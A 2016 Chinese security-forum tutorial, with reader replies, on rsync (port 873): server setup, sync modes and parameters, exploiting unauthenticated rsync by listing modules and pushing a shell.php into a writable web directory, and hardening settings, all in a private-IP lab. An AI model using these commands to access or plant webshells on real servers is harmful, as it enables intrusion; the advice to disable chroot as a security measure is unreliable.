查看: 181850|回复: 2870

详细讲解873端口之rsync的安全问题

[复制链接]
  • TA的每日心情

    2016-7-16 21:37
  • 签到天数: 10 天

    [LV.3]偶尔看看II

    发表于 2016-4-12 12:00:03 | 显示全部楼层 |阅读模式
    本帖最后由 U神V5 于 2016-4-12 12:01 编辑

    网络上大部分针对rsync的漏洞都只是马马虎虎,作者带你0基础认识rsync,搭建服务器到漏洞的利用与防护,全部0基础详细讲解。



               本文由u神原创,转载请注明作者和出处。


    1、什么是rsync
    2、架设rsync服务器(服务端、客户端配置)
    3、rsync的几种同步模式与常用参数
    4、rsync未授权访问漏洞的利用
    5、rsync漏洞的安全防护


    服务端:Kali Linux 2016   IP:192.168.199.199
    客户端:Backtrack 5 R3   IP:192.168.199.205




    1、什么是rsync呢?


          rsync(全称:Remote synchronize)是一款开源的、快速的、多功能,可以实现全量(所谓全量就是完全备份所有数据)以及增量(同步备份有增删改的数据)的本地或远程数据镜像同步备份的优秀工具,Rsync适用于Unix/Linux/Windows等多种操作平台。Rsync具有可使本地和远程两台主机之间的数据快速复制同步镜像、远程备份等功能,这个功能类似scp,但优于scp的功能。当然,Rsync还可以在本地主机的不同分区或目录之间全量及增量的复制数据,这类似cp命令,同样也优于cp命令。rsync除了可以完整拷贝外还具备增量拷贝的功能。
       
            rsync的特性:

          能更新整个目录和树和文件系统;
          有选择性的保持符号链链、硬链接、文件属于、权限、设备以及时间等;
          对于安装来说,无任何特殊权限要求;
          对于多个文件来说,内部流水线减少文件等待的延时;
          能用rsh、ssh 或直接端口做为传输入端口;
          支持匿名rsync 同步文件,是理想的镜像工具;


    2、架设rsync服务器 (以需要密码验证的情况来讲解)


    #服务端的配置:

      默认情况下Linux服务器上已经安装了rsync软件。如果没有安装可以使用 “apt-get install rsync ” 命令安装,当然我这里默认安装了就不再安装了。

    01.jpg



    在 /etc/rsync.conf 中建立配置文件(默认不存在的情况下建立)配置信息如下:


    uid = rsync_backup                                   #运行RSYNC守护进程的用户
    gid = rsync_backup                                   #运行RSYNC守护进程的组
    use chroot = yes                                       #允许切换设定的目录
    max connections = 200                           #最大连接数
    timeout = 300                                            #超时时间
    pid file = /var/run/rsyncd.pid                   #进程号的存储文件
    lock file = /var/run/rsyncd.locak             #启动和停止的锁文件
    log file = /var/log/rsyncd.log                   #日志文件
    port = 873                                                #端口号
    [web]                                                        #模块文件,客户端连接时需要指定模块
    path = /test/dedecms/                           #设定的访问路径
    ignore errors                                          #可以忽略一些无关的IO错误
    read only = yes                                   #是否只读
    list = yes                                               #是否允许列文件
    auth users  =rsync_backup              # 认证的用户名,如果没有这行则表明是匿名,此用户与系统无关
    secrets file = /rsync.pwd                   #密码和用户名对比表,密码文件请自己生成


    #配置完毕之后需要完成的操作:


    a)、建立不能登录bash的rsync用:

           useradd rsync_backup -s /sbin/nologin -M

    b)、设置test/dedecms/目录下的属主和属组

            chown -R rsync_backup:rsync_backup /test/dedecms/

    c)、建立/rsync.pwd的密码认证

             echo "rsync_backup:666888" >>/rsync.pwd

    d)、设置密码文件的权限600

            chmod 600 /rsync.pwd


    启动服务:

    rsync --daemon  #以守护进程方式来启动rsync

    查看是否正常启动

    netstat -nlt | grep 873   或者 lsof -i tcp:873

    02.jpg



    #客户端的操作:

    a)、设置rsync的密码文件

           echo "666888"  >> /etc/rsync.password

    b)、设置密码文件的权限

           chmod  600 /etc/rsync.password  



    3、rsync的几种同步模式与常用参数:


    # 三种同步模式

        1、主机本地间的数据传输(此时类似于cp命令的功能)。

                 例如:rsync /etc/hosts /opt  
                 释义:将本地的/etc/hosts文件同步到/opt目录

                 例如:rsync -r /opt /etc
                 释义:将/opt目录同步到/etc下

        2、借助rcp、ssh等通道来传输数据(此时类似于scp命令的功能),此时使用的是系统用户。

                  例如:rsync -v -e 'ssh -p22' /etc/hosts  root@192.168.199.188 /tmp
                  释义:将本地的hosts文件同步到远程主机192.168.199.188的/tmp目录下

                   例如:rsync -v -e 'ssh -p22'  root@192.168.199.188:~/home /etc
                   释义:将远程的用户家目录home同步到本地的/etc目录下
                

        3、以守护进程(socket)的方式传输数据(这个是rsync的重要功能),此时使用的是虚拟用户。

                例如: rsync -avzp  rsync_backup@192.168.199.199::web/ /test/ --password-file=/etc/rsync.password
                释义:将远程服务器192.168.199.199的web模块根目录下所有文件递归形式 备份到本地的/test/目录下

                 例如:rsync -avzp /test.txt rsync_backup@192.168.199.199::web/ --password-file=/etc/rsync.password
                 释义:将本地/test.txt 备份到远程服务器192.168.199.199的web模块的根目录下


    # 常用的参数

       -v , --verbose        详细输出模式,传输时的进度信息。
       -z , --compress     传输时候进行压缩以提供传输效率,--compress-level=数字等级 (可按级别压缩)。
       -r , --recursiv          对子目录以递归模式,即目录下的所有目录都同样传输,注意是小写的r
       -a, --archive           归档模式,表示以递归方式传输文件,并保持所有文件的原有属性 ,等于-rtopgDl
       -q, --quiet                精简输出模式
       -c, --checksum       打开校验开关,强制对文件传输进行校验
       -P,--progress         显示同步的过程以及传输的进度信息,与-v类似
       -R,--relative         使用相对路径信息,
       -D,--device             保持设备文件信息
       -l , --links                 保持软链接
       -e,--rsh=COMMON 使用的信道协议,指定代替rsh的shell程序,例如:ssh
       --exclude=PATTERN 指定排除不需要传输的文件模式
       --delete  当源目录中的文件删除,同步后目标目录中的文件也会被删除,如果源目录写法不当,可能无法达到同步删除目标目录的文件

        注意:
                  rsync -avz /opt/firefox ~/test   在同步目录后面不加上/ 则是递归拷贝firefox目录,包含firefox目录
                  rsync -avz /opt/firefox/ ~/test  在同步目录后面加上/ 则是递归拷贝firefox目录下的文件,不包含firefox目录


    # rsync的同步操作


    第一种:   rsync user@hosts::module --pass-file=password text

    例如我们配置的:rsync rsync_backup@192.168.199.199::web --password-file=/etc/rsync.password
                         
    03.jpg
       
    继续看看uploads目录

    rsync rsync_backup@192.168.199.199::web/uploads/ --password-file=/etc/rsync.password

    04.jpg


    将本地文件test.txt备份到根目录下

    rsync -avzp /test.txt rsync_backup@192.168.199.199::web/ --password-file=/etc/rsync.password

    05.jpg


    将服务器的所有文件备份到本地/test/ 目录下

    rsync -avzp  rsync_backup@192.168.199.199::web/ /test/ --password-file=/etc/rsync.password

    06.jpg
    07.jpg


    实现增量备份,在本地的/test目录下创建baidu.txt,可以发现只同步了一个文件,那就是本地新增的/test/baidu.txt

    rsync -av --delete /test rsync_backup@192.168.199.199::web/ --password-file=/etc/rsync.password

    08.jpg


    在备份服务器上删除了3个文本文档,再次从服务器增量备份到本地

    rsync -av --delete  rsync_backup@192.168.199.199::web/ /test/ --password-file=/etc/rsync.password



    09.jpg



    4、rsync未授权导致的问题

    乌云案例:

    http://wooyun.org/bugs/wooyun-2010-0166312
    http://wooyun.org/bugs/wooyun-2010-0161535
    http://wooyun.org/bugs/wooyun-2010-0169638
    http://wooyun.org/bugs/wooyun-2010-0157669
    http://wooyun.org/bugs/wooyun-2010-0157620
    http://wooyun.org/bugs/wooyun-2010-0156335
    http://wooyun.org/bugs/wooyun-2010-0156129
    http://wooyun.org/bugs/wooyun-2010-0145535


    如果/etc/rsyncd.conf下没有以下两行配置,则可能造成匿名访问:


    auth users  =rsync_backup              # 认证的用户名,如果没有这行则表明是匿名,此用户与系统无关
    secrets file = /rsync.pwd                   #密码和用户名对比表,密码文件请自己生成


    列rsync的模块:rsync root@192.168.199.199::


    10.jpg

    查询模块下的文件:rsync root@192.168.199.199::web

    11.jpg

    如果对方的配置信息为:read only = no 【表示可以向里面写内容】 又恰巧是一个web目录的话,那我们就可以直接getshell了

    rsync /shell.php root@192.168.199.199::web/uploads/    #将本地shell推送到rsync的uploads目录(我这里的shell没写内容)


    12.jpg



    5、rsync的安全配置


    1、配置文件设置用户认证、安全强大的密码

        auth users  =rsync_backup  设置认证用户
       
        echo "rsync_backup:bkweb@#$12345!">>/rsync.pwd  设置强悍的密码
         
       secrets file = /rsync.pwd   


    2、修改端口

        port = 8730
      

    3、可以设定指定的主机访问

    hosts allow = 192.168.1.1,10.10.10.10   允许的主机访问

    hosts deny = 0.0.0.0/0   禁止的访问主机


    4、只读或者不允许列文件

    read only = yes        只读,当然如果你的资源不要紧可以随便看
    list = no                   不允许列文件


    5、不使用chroot

    use chroot = no             不使用chroot


    6、当然drop也说了rsync可以通过iptable防火墙来阻止不受信任用户访问

    http://drops.wooyun.org/papers/161

    参考rsync的渗透技巧:https://www.91ri.org/11093.html


    评分

    参与人数 1人气 +1 贡献 +1 收起 理由
    90_ + 1 + 1 支持原创

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2017-9-11 15:40
  • 签到天数: 425 天

    [LV.9]以坛为家II

    发表于 2016-4-12 12:35:47 | 显示全部楼层
    跪了,请收下膝盖
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    前天 15:28
  • 签到天数: 1562 天

    [LV.Master]伴坛终老

    发表于 2016-4-12 15:15:44 | 显示全部楼层
    麻痹这么长。。。我还给看完了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-12 15:34:15 | 显示全部楼层
    谢谢楼主的分享
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-12 15:44:54 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2015-6-21 22:12
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-4-12 15:57:38 | 显示全部楼层
    谢谢楼主的分享
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-12 18:48:25 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-12 21:53:26 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-13 00:17:40 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-13 02:13:51 | 显示全部楼层
    非常感谢
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-4-29 14:46 , Processed in 0.034318 second(s), 14 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部